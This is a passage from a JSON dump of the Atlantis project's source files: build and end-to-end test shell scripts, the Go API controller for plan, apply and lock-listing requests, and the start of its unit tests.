\"${COMMAND_NAME}_${VERSION}_linux_${ARCH}.zip\"\n  rm \"${COMMAND_NAME}_${VERSION}_SHA256SUMS\"\ndone\nln -s \"${COMMAND_DIR}/${DEFAULT_VERSION}/${COMMAND_NAME}\" \"${COMMAND_DIR}/${COMMAND_NAME}\"\n"
  },
  {
    "path": "scripts/e2e.sh",
    "content": "#!/usr/bin/env bash\n\nset -euo pipefail\nIFS=$'\\n\\t'\nATLANTIS_PID=\"\"\nNGROK_PID=\"\"\n\nfunction cleanup() {\n    cleanupPid \"$ATLANTIS_PID\"\n    cleanupPid \"$NGROK_PID\"\n}\n\nfunction cleanupPid() {\n    local pid=\"$1\"\n    # Never set, no need to clean up\n    if [[ \"$pid\" == \"\" ]]\n    then\n        return\n    fi\n    # Somehow pid was not number, just being careful\n    if ! [[ \"$pid\" =~ ^[0-9]+$ ]]\n    then\n        return\n    fi\n    # Not currently running, no need to kill\n    if ! ps -p \"$pid\" &>/dev/null\n    then\n        return\n    fi\n    kill $pid\n}\n\n\n# start atlantis server in the background and wait for it to start\n# It's the responsibility of the caller of this script to set the github, gitlab, etc.\n# permissions via environment variable\n./atlantis server \\\n  --data-dir=\"/tmp\" \\\n  --log-level=\"debug\" \\\n  --repo-allowlist=\"github.com/runatlantis/atlantis-tests,gitlab.com/runatlantis/atlantis-tests\" \\\n  --repo-config-json='{\"repos\":[{\"id\":\"/.*/\", \"allowed_overrides\":[\"apply_requirements\",\"workflow\"], \"allow_custom_workflows\":true}]}' \\\n  &> /tmp/atlantis-server.log &\nATLANTIS_PID=$!\nsleep 2\nif ! ps -p \"$ATLANTIS_PID\" &>/dev/null\nthen\n    echo \"Atlantis failed to start\"\n    cat /tmp/atlantis-server.log\n    exit 1\nfi\necho \"Atlantis is running...\"\n\n# start ngrok in the background and wait for it to start\n./ngrok config add-authtoken $NGROK_AUTH_TOKEN > /dev/null 2>&1\n./ngrok http 4141 > /tmp/ngrok.log 2>&1 &\nNGROK_PID=$!\nsleep 2\nif ! ps -p \"$NGROK_PID\" &>/dev/null\nthen\n    cleanup\n    echo \"Ngrok failed to start\"\n    cat /tmp/ngrok.log\n    exit 1\nfi\necho \"Ngrok is running...\"\n\n# find out what URL ngrok has given us\nexport ATLANTIS_URL=$(curl -s 'http://localhost:4040/api/tunnels' | jq -r '.tunnels[] | select(.proto==\"https\") | .public_url')\n\n# Now we can start the e2e tests\ncd \"${GITHUB_WORKSPACE:-$(git rev-parse --show-toplevel)}/e2e\"\necho \"Running 'make build'\"\nmake build\n\necho \"Running e2e test: 'make run'\"\nset +e\nestatus=0\nmake run\nif [[ $? -eq 0 ]]\nthen\n  echo \"e2e tests passed\"\nelse\n  echo \"e2e tests failed\"\n  echo \"atlantis logs:\"\n  cat /tmp/atlantis-server.log\n  estatus=1\nfi\ncleanup\nexit $estatus\n"
  },
  {
    "path": "scripts/fmt.sh",
    "content": "#!/usr/bin/env bash\n\nset -euo pipefail\n\ngo install golang.org/x/tools/cmd/goimports@latest\n\ngobin=\"$(go env GOPATH)/bin\"\ndeclare -r gobin\n\ndeclare -a files\nreadarray -d '' files < <(find . -type f -name '*.go' ! -name 'mock_*' ! -path './vendor/*' ! -path '**/mocks/*' -print0)\ndeclare -r files\n\noutput=\"$(\"${gobin}\"/goimports -l \"${files[@]}\")\"\ndeclare -r output\n\nif [[ -n \"$output\" ]]; then\n    echo \"These files had their 'import' changed - please fix them locally and push a fix\"\n\n    echo \"$output\"\n\n    exit 1\nfi\n"
  },
  {
    "path": "scripts/go-generate.sh",
    "content": "#!/bin/bash\n\nset -eou pipefail\n\npkgs=$(go list ./... | grep -v mocks | grep -v matchers | grep -v e2e | grep -v static)\nfor pkg in $pkgs; do\n\techo \"go generate $pkg\"\n\tgo generate \"$pkg\"\ndone\n"
  },
  {
    "path": "scripts/pin_ci_terraform_providers.sh",
    "content": "#!/bin/bash\n\n# Script to pin terraform providers in e2e tests\n\nRANDOM_PROVIDER_VERSION=\"3.6.1\"\nNULL_PROVIDER_VERSION=\"3.2.4\"\n\nTEST_REPOS_DIR=\"server/controllers/events/testdata/test-repos\"\n\nfor file in $(find $TEST_REPOS_DIR -name '*.tf')\ndo\n    basename=$(basename $file)\n    if [[ \"$basename\" == \"versions.tf\" ]]\n    then\n        continue\n    fi\n    if [[ \"$basename\" != \"main.tf\" ]]\n    then\n        echo \"Found unexpected file: $file\"\n        exit 1\n    fi\n    has_null_provider=false\n    has_random_provider=false\n\n    version_file=\"$(dirname $file)/versions.tf\"\n    for resource in $(cat $file | grep '^resource' | awk '{print $2}' | tr -d '\"')\n    do\n        if [[ \"$resource\" == \"null_resource\" ]]\n        then\n            has_null_provider=true\n        elif [[ \"$resource\" == \"random_id\" ]]\n        then\n            has_random_provider=true\n        else\n            echo \"Unknown resource $resource in $file\"\n            exit 1\n        fi\n    done\n    if ! $has_null_provider && ! $has_random_provider\n    then\n        echo \"No providers needed for $file\"\n        continue\n    fi\n    echo \"Adding $version_file for $file\"\n    rm -f $version_file\n    if $has_null_provider\n    then\n        echo 'provider \"null\" {}' >> $version_file\n    fi\n    if $has_random_provider\n    then\n        echo 'provider \"random\" {}' >> $version_file\n    fi\n    echo \"terraform {\" >> $version_file\n    echo \"  required_providers {\" >> $version_file\n\n    if $has_random_provider\n    then\n        echo \"    random = {\" >> $version_file\n        echo '      source  = \"hashicorp/random\"' >> $version_file\n        echo \"      version = \\\"= $RANDOM_PROVIDER_VERSION\\\"\" >> $version_file\n        echo \"    }\" >> $version_file\n    fi\n    if $has_null_provider\n    then\n        echo \"    null = {\" >> $version_file\n        echo '      source  = \"hashicorp/null\"' >> $version_file\n        echo \"      version = \\\"= $NULL_PROVIDER_VERSION\\\"\" >> $version_file\n        echo \"    }\" >> $version_file\n    fi\n    echo \"  }\" >> $version_file\n    echo \"}\" >> $version_file\n\ndone\n"
  },
  {
    "path": "server/controllers/api_controller.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage controllers\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/go-playground/validator/v10\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\nconst atlantisTokenHeader = \"X-Atlantis-Token\"\n\ntype APIController struct {\n\tAPISecret                      []byte\n\tLocker                         locking.Locker                   `validate:\"required\"`\n\tLogger                         logging.SimpleLogging            `validate:\"required\"`\n\tParser                         events.EventParsing              `validate:\"required\"`\n\tProjectCommandBuilder          events.ProjectCommandBuilder     `validate:\"required\"`\n\tProjectPlanCommandRunner       events.ProjectPlanCommandRunner  `validate:\"required\"`\n\tProjectApplyCommandRunner      events.ProjectApplyCommandRunner `validate:\"required\"`\n\tFailOnPreWorkflowHookError     bool\n\tPreWorkflowHooksCommandRunner  events.PreWorkflowHooksCommandRunner  `validate:\"required\"`\n\tPostWorkflowHooksCommandRunner events.PostWorkflowHooksCommandRunner `validate:\"required\"`\n\tRepoAllowlistChecker           *events.RepoAllowlistChecker          `validate:\"required\"`\n\tScope                          tally.Scope                           `validate:\"required\"`\n\tVCSClient                      vcs.Client                            `validate:\"required\"`\n\tWorkingDir                     events.WorkingDir                     `validate:\"required\"`\n\tWorkingDirLocker               events.WorkingDirLocker               `validate:\"required\"`\n\tCommitStatusUpdater            events.CommitStatusUpdater            `validate:\"required\"`\n\t// SilenceVCSStatusNoProjects is whether API should set commit status if no projects are found\n\tSilenceVCSStatusNoProjects bool\n}\n\ntype APIRequest struct {\n\tRepository string `validate:\"required\"`\n\tRef        string `validate:\"required\"`\n\tType       string `validate:\"required\"`\n\tPR         int\n\tProjects   []string\n\tPaths      []struct {\n\t\tDirectory string\n\t\tWorkspace string\n\t}\n}\n\nfunc (a *APIRequest) getCommands(ctx *command.Context, cmdName command.Name, cmdBuilder func(*command.Context, *events.CommentCommand) ([]command.ProjectContext, error)) ([]command.ProjectContext, []*events.CommentCommand, error) {\n\tcc := make([]*events.CommentCommand, 0)\n\n\tfor _, project := range a.Projects {\n\t\tcc = append(cc, &events.CommentCommand{\n\t\t\tName:        cmdName,\n\t\t\tProjectName: project,\n\t\t})\n\t}\n\tfor _, path := range a.Paths {\n\t\tcc = append(cc, &events.CommentCommand{\n\t\t\tName:       cmdName,\n\t\t\tRepoRelDir: strings.TrimRight(path.Directory, \"/\"),\n\t\t\tWorkspace:  path.Workspace,\n\t\t})\n\t}\n\n\tcmds := make([]command.ProjectContext, 0)\n\tfor _, commentCommand := range cc {\n\t\tprojectCmds, err := cmdBuilder(ctx, commentCommand)\n\t\tif err != nil {\n\t\t\treturn nil, nil, fmt.Errorf(\"failed to build command: %v\", err)\n\t\t}\n\t\tcmds = append(cmds, projectCmds...)\n\t}\n\n\treturn cmds, cc, nil\n}\n\nfunc (a *APIController) apiReportError(w http.ResponseWriter, code int, err error) {\n\tresponse, _ := json.Marshal(map[string]string{\n\t\t\"error\": err.Error(),\n\t})\n\ta.respond(w, logging.Warn, code, \"%s\", string(response))\n}\n\nfunc (a *APIController) Plan(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\trequest, ctx, code, err := a.apiParseAndValidate(r)\n\tif err != nil {\n\t\ta.apiReportError(w, code, err)\n\t\treturn\n\t}\n\n\terr = a.apiSetup(ctx, command.Plan)\n\tif err != nil {\n\t\ta.apiReportError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tresult, err := a.apiPlan(request, ctx)\n\tif err != nil {\n\t\ta.apiReportError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\tdefer a.Locker.UnlockByPull(ctx.HeadRepo.FullName, ctx.Pull.Num) // nolint: errcheck\n\tif result.HasErrors() {\n\t\tcode = http.StatusInternalServerError\n\t}\n\n\t// TODO: make a better response\n\tresponse, err := json.Marshal(result)\n\tif err != nil {\n\t\ta.apiReportError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\ta.respond(w, logging.Warn, code, \"%s\", string(response))\n}\n\nfunc (a *APIController) Apply(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\trequest, ctx, code, err := a.apiParseAndValidate(r)\n\tif err != nil {\n\t\ta.apiReportError(w, code, err)\n\t\treturn\n\t}\n\n\terr = a.apiSetup(ctx, command.Apply)\n\tif err != nil {\n\t\ta.apiReportError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\t// We must first make the plan for all projects\n\t_, err = a.apiPlan(request, ctx)\n\tif err != nil {\n\t\ta.apiReportError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\tdefer a.Locker.UnlockByPull(ctx.HeadRepo.FullName, ctx.Pull.Num) // nolint: errcheck\n\n\t// We can now prepare and run the apply step\n\tresult, err := a.apiApply(request, ctx)\n\tif err != nil {\n\t\ta.apiReportError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\tif result.HasErrors() {\n\t\tcode = http.StatusInternalServerError\n\t}\n\n\tresponse, err := json.Marshal(result)\n\tif err != nil {\n\t\ta.apiReportError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\ta.respond(w, logging.Warn, code, \"%s\", string(response))\n}\n\ntype LockDetail struct {\n\tName            string\n\tProjectName     string\n\tProjectRepo     string\n\tProjectRepoPath string\n\tPullID          int `json:\",string\"`\n\tPullURL         string\n\tUser            string\n\tWorkspace       string\n\tTime            time.Time\n}\n\ntype ListLocksResult struct {\n\tLocks []LockDetail\n}\n\nfunc (a *APIController) ListLocks(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tlocks, err := a.Locker.List()\n\tif err != nil {\n\t\ta.apiReportError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tresult := ListLocksResult{}\n\tfor name, lock := range locks {\n\t\tlockDetail := LockDetail{\n\t\t\tname,\n\t\t\tlock.Project.ProjectName,\n\t\t\tlock.Project.RepoFullName,\n\t\t\tlock.Project.Path,\n\t\t\tlock.Pull.Num,\n\t\t\tlock.Pull.URL,\n\t\t\tlock.User.Username,\n\t\t\tlock.Workspace,\n\t\t\tlock.Time,\n\t\t}\n\t\tresult.Locks = append(result.Locks, lockDetail)\n\t}\n\n\tresponse, err := json.Marshal(result)\n\tif err != nil {\n\t\ta.apiReportError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\ta.respond(w, logging.Warn, http.StatusOK, \"%s\", string(response))\n}\n\nfunc (a *APIController) apiSetup(ctx *command.Context, cmdName command.Name) error {\n\tpull := ctx.Pull\n\tbaseRepo := ctx.Pull.BaseRepo\n\theadRepo := ctx.HeadRepo\n\n\tunlockFn, err := a.WorkingDirLocker.TryLock(baseRepo.FullName, pull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, \"\", cmdName)\n\tif err != nil {\n\t\treturn err\n\t}\n\tctx.Log.Debug(\"got workspace lock\")\n\tdefer unlockFn()\n\n\t// ensure workingDir is present\n\t_, err = a.WorkingDir.Clone(ctx.Log, headRepo, pull, events.DefaultWorkspace)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (a *APIController) apiPlan(request *APIRequest, ctx *command.Context) (*command.Result, error) {\n\tcmds, cc, err := request.getCommands(ctx, command.Plan, a.ProjectCommandBuilder.BuildPlanCommands)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(cmds) == 0 {\n\t\tctx.Log.Info(\"determined there was no project to run plan in\")\n\t\t// When silence is enabled and no projects are found, don't set any VCS status\n\t\tif !a.SilenceVCSStatusNoProjects {\n\t\t\tctx.Log.Debug(\"setting VCS status to success with no projects found\")\n\t\t\tif err := a.CommitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update plan status: %s\", err)\n\t\t\t}\n\t\t\tif err := a.CommitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update policy check status: %s\", err)\n\t\t\t}\n\t\t\tif err := a.CommitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update apply status: %s\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tctx.Log.Debug(\"silence enabled and no projects found - not setting any VCS status\")\n\t\t}\n\t\treturn &command.Result{ProjectResults: []command.ProjectResult{}}, nil\n\t}\n\n\t// Update the combined plan commit status to pending\n\tif err := a.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Plan); err != nil {\n\t\tctx.Log.Warn(\"unable to update plan commit status: %s\", err)\n\t}\n\n\tvar projectResults []command.ProjectResult\n\tfor i, cmd := range cmds {\n\t\terr = a.PreWorkflowHooksCommandRunner.RunPreHooks(ctx, cc[i])\n\t\tif err != nil {\n\t\t\tif a.FailOnPreWorkflowHookError {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\tres := events.RunOneProjectCmd(a.ProjectPlanCommandRunner.Plan, cmd)\n\t\tprojectResults = append(projectResults, res)\n\n\t\ta.PostWorkflowHooksCommandRunner.RunPostHooks(ctx, cc[i]) // nolint: errcheck\n\t}\n\treturn &command.Result{ProjectResults: projectResults}, nil\n}\n\nfunc (a *APIController) apiApply(request *APIRequest, ctx *command.Context) (*command.Result, error) {\n\tcmds, cc, err := request.getCommands(ctx, command.Apply, a.ProjectCommandBuilder.BuildApplyCommands)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(cmds) == 0 {\n\t\tctx.Log.Info(\"determined there was no project to run apply in\")\n\t\t// When silence is enabled and no projects are found, don't set any VCS status\n\t\tif !a.SilenceVCSStatusNoProjects {\n\t\t\tctx.Log.Debug(\"setting VCS status to success with no projects found\")\n\t\t\tif err := a.CommitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update plan status: %s\", err)\n\t\t\t}\n\t\t\tif err := a.CommitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update policy check status: %s\", err)\n\t\t\t}\n\t\t\tif err := a.CommitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update apply status: %s\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tctx.Log.Debug(\"silence enabled and no projects found - not setting any VCS status\")\n\t\t}\n\t\treturn &command.Result{ProjectResults: []command.ProjectResult{}}, nil\n\t}\n\n\t// Update the combined apply commit status to pending\n\tif err := a.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Apply); err != nil {\n\t\tctx.Log.Warn(\"unable to update apply commit status: %s\", err)\n\t}\n\n\tvar projectResults []command.ProjectResult\n\tfor i, cmd := range cmds {\n\t\terr = a.PreWorkflowHooksCommandRunner.RunPreHooks(ctx, cc[i])\n\t\tif err != nil {\n\t\t\tif a.FailOnPreWorkflowHookError {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\tres := events.RunOneProjectCmd(a.ProjectApplyCommandRunner.Apply, cmd)\n\t\tprojectResults = append(projectResults, res)\n\n\t\ta.PostWorkflowHooksCommandRunner.RunPostHooks(ctx, cc[i]) // nolint: errcheck\n\t}\n\treturn &command.Result{ProjectResults: projectResults}, nil\n}\n\nfunc (a *APIController) apiParseAndValidate(r *http.Request) (*APIRequest, *command.Context, int, error) {\n\tif len(a.APISecret) == 0 {\n\t\treturn nil, nil, http.StatusBadRequest, fmt.Errorf(\"ignoring request since API is disabled\")\n\t}\n\n\t// Validate the secret token\n\tsecret := r.Header.Get(atlantisTokenHeader)\n\tif secret != string(a.APISecret) {\n\t\treturn nil, nil, http.StatusUnauthorized, fmt.Errorf(\"header %s did not match expected secret\", atlantisTokenHeader)\n\t}\n\n\t// Parse the JSON payload\n\tbytes, err := io.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn nil, nil, http.StatusBadRequest, fmt.Errorf(\"failed to read request\")\n\t}\n\tvar request APIRequest\n\tif err = json.Unmarshal(bytes, &request); err != nil {\n\t\treturn nil, nil, http.StatusBadRequest, fmt.Errorf(\"failed to parse request: %v\", err.Error())\n\t}\n\tif err = validator.New().Struct(request); err != nil {\n\t\treturn nil, nil, http.StatusBadRequest, fmt.Errorf(\"request %q is missing fields\", string(bytes))\n\t}\n\n\tVCSHostType, err := models.NewVCSHostType(request.Type)\n\tif err != nil {\n\t\treturn nil, nil, http.StatusBadRequest, err\n\t}\n\tcloneURL, err := a.VCSClient.GetCloneURL(a.Logger, VCSHostType, request.Repository)\n\tif err != nil {\n\t\treturn nil, nil, http.StatusInternalServerError, err\n\t}\n\n\tbaseRepo, err := a.Parser.ParseAPIPlanRequest(VCSHostType, request.Repository, cloneURL)\n\tif err != nil {\n\t\treturn nil, nil, http.StatusBadRequest, fmt.Errorf(\"failed to parse request: %v\", err)\n\t}\n\n\t// Check if the repo is allowlisted\n\tif !a.RepoAllowlistChecker.IsAllowlisted(baseRepo.FullName, baseRepo.VCSHost.Hostname) {\n\t\treturn nil, nil, http.StatusForbidden, fmt.Errorf(\"repo not allowlisted\")\n\t}\n\n\treturn &request, &command.Context{\n\t\tHeadRepo: baseRepo,\n\t\tPull: models.PullRequest{\n\t\t\tNum:        request.PR,\n\t\t\tBaseBranch: request.Ref,\n\t\t\tHeadBranch: request.Ref,\n\t\t\tHeadCommit: request.Ref,\n\t\t\tBaseRepo:   baseRepo,\n\t\t},\n\t\tScope: a.Scope,\n\t\tLog:   a.Logger,\n\t\tAPI:   true,\n\t}, http.StatusOK, nil\n}\n\nfunc (a *APIController) respond(w http.ResponseWriter, lvl logging.LogLevel, responseCode int, format string, args ...any) {\n\tresponse := fmt.Sprintf(format, args...)\n\ta.Logger.Log(lvl, response)\n\tw.WriteHeader(responseCode)\n\tfmt.Fprintln(w, response)\n}\n"
  },
  {
    "path": "server/controllers/api_controller_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage controllers_test\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\t\"time\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/controllers\"\n\t. \"github.com/runatlantis/atlantis/server/core/locking/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t. \"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t. \"github.com/runatlantis/atlantis/server/events/vcs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics/metricstest\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"go.uber.org/mock/gomock\"\n)\n\nconst atlantisTokenHeader = \"X-Atlantis-Token\"\nconst atlantisToken = \"token\"\n\nfunc TestAPIController_Plan(t *testing.T) {\n\tac, projectCommandBuilder, projectCommandRunner := setup(t)\n\n\tcases := []struct {\n\t\trepository string\n\t\tref        string\n\t\tvcsType    string\n\t\tpr         int\n\t\tprojects   []string\n\t\tpaths      []struct {\n\t\t\tDirectory string\n\t\t\tWorkspace string\n\t\t}\n\t}{\n\t\t{\n\t\t\trepository: \"Repo\",\n\t\t\tref:        \"main\",\n\t\t\tvcsType:    \"Gitlab\",\n\t\t\tprojects:   []string{\"default\"},\n\t\t},\n\t\t{\n\t\t\trepository: \"Repo\",\n\t\t\tref:        \"main\",\n\t\t\tvcsType:    \"Gitlab\",\n\t\t\tpr:         1,\n\t\t},\n\t\t{\n\t\t\trepository: \"Repo\",\n\t\t\tref:        \"main\",\n\t\t\tvcsType:    \"Gitlab\",\n\t\t\tpaths: []struct {\n\t\t\t\tDirectory string\n\t\t\t\tWorkspace string\n\t\t\t}{\n\t\t\t\t{\n\t\t\t\t\tDirectory: \".\",\n\t\t\t\t\tWorkspace: \"myworkspace\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tDirectory: \"./myworkspace2\",\n\t\t\t\t\tWorkspace: \"myworkspace2\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\trepository: \"Repo\",\n\t\t\tref:        \"main\",\n\t\t\tvcsType:    \"Gitlab\",\n\t\t\tpr:         1,\n\t\t\tprojects:   []string{\"test\"},\n\t\t\tpaths: []struct {\n\t\t\t\tDirectory string\n\t\t\t\tWorkspace string\n\t\t\t}{\n\t\t\t\t{\n\t\t\t\t\tDirectory: \".\",\n\t\t\t\t\tWorkspace: \"myworkspace\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\texpectedCalls := 0\n\tfor _, c := range cases {\n\t\tbody, _ := json.Marshal(controllers.APIRequest{\n\t\t\tRepository: c.repository,\n\t\t\tRef:        c.ref,\n\t\t\tType:       c.vcsType,\n\t\t\tPR:         c.pr,\n\t\t\tProjects:   c.projects,\n\t\t\tPaths:      c.paths,\n\t\t})\n\n\t\treq, _ := http.NewRequest(\"POST\", \"\", bytes.NewBuffer(body))\n\t\treq.Header.Set(atlantisTokenHeader, atlantisToken)\n\t\tw := httptest.NewRecorder()\n\t\tac.Plan(w, req)\n\t\tResponseContains(t, w, http.StatusOK, \"\")\n\n\t\texpectedCalls += len(c.projects)\n\t\texpectedCalls += len(c.paths)\n\t}\n\n\tprojectCommandBuilder.VerifyWasCalled(Times(expectedCalls)).BuildPlanCommands(Any[*command.Context](), Any[*events.CommentCommand]())\n\tprojectCommandRunner.VerifyWasCalled(Times(expectedCalls)).Plan(Any[command.ProjectContext]())\n}\n\nfunc TestAPIController_Apply(t *testing.T) {\n\tac, projectCommandBuilder, projectCommandRunner := setup(t)\n\n\tcases := []struct {\n\t\trepository string\n\t\tref        string\n\t\tvcsType    string\n\t\tpr         int\n\t\tprojects   []string\n\t\tpaths      []struct {\n\t\t\tDirectory string\n\t\t\tWorkspace string\n\t\t}\n\t}{\n\t\t{\n\t\t\trepository: \"Repo\",\n\t\t\tref:        \"main\",\n\t\t\tvcsType:    \"Gitlab\",\n\t\t\tprojects:   []string{\"default\"},\n\t\t},\n\t\t{\n\t\t\trepository: \"Repo\",\n\t\t\tref:        \"main\",\n\t\t\tvcsType:    \"Gitlab\",\n\t\t\tpr:         1,\n\t\t},\n\t\t{\n\t\t\trepository: \"Repo\",\n\t\t\tref:        \"main\",\n\t\t\tvcsType:    \"Gitlab\",\n\t\t\tpaths: []struct {\n\t\t\t\tDirectory string\n\t\t\t\tWorkspace string\n\t\t\t}{\n\t\t\t\t{\n\t\t\t\t\tDirectory: \".\",\n\t\t\t\t\tWorkspace: \"myworkspace\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tDirectory: \"./myworkspace2\",\n\t\t\t\t\tWorkspace: \"myworkspace2\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\trepository: \"Repo\",\n\t\t\tref:        \"main\",\n\t\t\tvcsType:    \"Gitlab\",\n\t\t\tpr:         1,\n\t\t\tprojects:   []string{\"test\"},\n\t\t\tpaths: []struct {\n\t\t\t\tDirectory string\n\t\t\t\tWorkspace string\n\t\t\t}{\n\t\t\t\t{\n\t\t\t\t\tDirectory: \".\",\n\t\t\t\t\tWorkspace: \"myworkspace\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\texpectedCalls := 0\n\tfor _, c := range cases {\n\t\tbody, _ := json.Marshal(controllers.APIRequest{\n\t\t\tRepository: c.repository,\n\t\t\tRef:        c.ref,\n\t\t\tType:       c.vcsType,\n\t\t\tPR:         c.pr,\n\t\t\tProjects:   c.projects,\n\t\t\tPaths:      c.paths,\n\t\t})\n\n\t\treq, _ := http.NewRequest(\"POST\", \"\", bytes.NewBuffer(body))\n\t\treq.Header.Set(atlantisTokenHeader, atlantisToken)\n\t\tw := httptest.NewRecorder()\n\t\tac.Apply(w, req)\n\t\tResponseContains(t, w, http.StatusOK, \"\")\n\n\t\texpectedCalls += len(c.projects)\n\t\texpectedCalls += len(c.paths)\n\t}\n\n\tprojectCommandBuilder.VerifyWasCalled(Times(expectedCalls)).BuildApplyCommands(Any[*command.Context](), Any[*events.CommentCommand]())\n\tprojectCommandRunner.VerifyWasCalled(Times(expectedCalls)).Plan(Any[command.ProjectContext]())\n\tprojectCommandRunner.VerifyWasCalled(Times(expectedCalls)).Apply(Any[command.ProjectContext]())\n}\n\n// TestAPIController_Plan_PreWorkflowHooksReceiveCorrectCommand verifies that when\n// calling the Plan API endpoint, the pre-workflow hooks receive a CommentCommand\n// with Name set to command.Plan (not the zero value which would be command.Apply).\nfunc TestAPIController_Plan_PreWorkflowHooksReceiveCorrectCommand(t *testing.T) {\n\tac, _, _ := setup(t)\n\n\t// Get access to the pre-workflow hooks mock for verification\n\tpreWorkflowHooksRunner := ac.PreWorkflowHooksCommandRunner.(*MockPreWorkflowHooksCommandRunner)\n\n\tbody, _ := json.Marshal(controllers.APIRequest{\n\t\tRepository: \"Repo\",\n\t\tRef:        \"main\",\n\t\tType:       \"Gitlab\",\n\t\tProjects:   []string{\"default\"},\n\t})\n\n\treq, _ := http.NewRequest(\"POST\", \"\", bytes.NewBuffer(body))\n\treq.Header.Set(atlantisTokenHeader, atlantisToken)\n\tw := httptest.NewRecorder()\n\tac.Plan(w, req)\n\tResponseContains(t, w, http.StatusOK, \"\")\n\n\t// Capture the CommentCommand passed to RunPreHooks and verify Name is Plan\n\t_, capturedCmd := preWorkflowHooksRunner.VerifyWasCalled(Times(1)).\n\t\tRunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]()).\n\t\tGetCapturedArguments()\n\n\tAssert(t, capturedCmd.Name == command.Plan,\n\t\t\"expected CommentCommand.Name to be Plan (%d), got %s (%d)\",\n\t\tcommand.Plan, capturedCmd.Name.String(), capturedCmd.Name)\n}\n\n// TestAPIController_Apply_PreWorkflowHooksReceiveCorrectCommand verifies that when\n// calling the Apply API endpoint, the pre-workflow hooks receive a CommentCommand\n// with Name set to command.Apply for the apply phase (and command.Plan for the\n// plan phase that runs first).\nfunc TestAPIController_Apply_PreWorkflowHooksReceiveCorrectCommand(t *testing.T) {\n\tac, _, _ := setup(t)\n\n\t// Get access to the pre-workflow hooks mock for verification\n\tpreWorkflowHooksRunner := ac.PreWorkflowHooksCommandRunner.(*MockPreWorkflowHooksCommandRunner)\n\n\tbody, _ := json.Marshal(controllers.APIRequest{\n\t\tRepository: \"Repo\",\n\t\tRef:        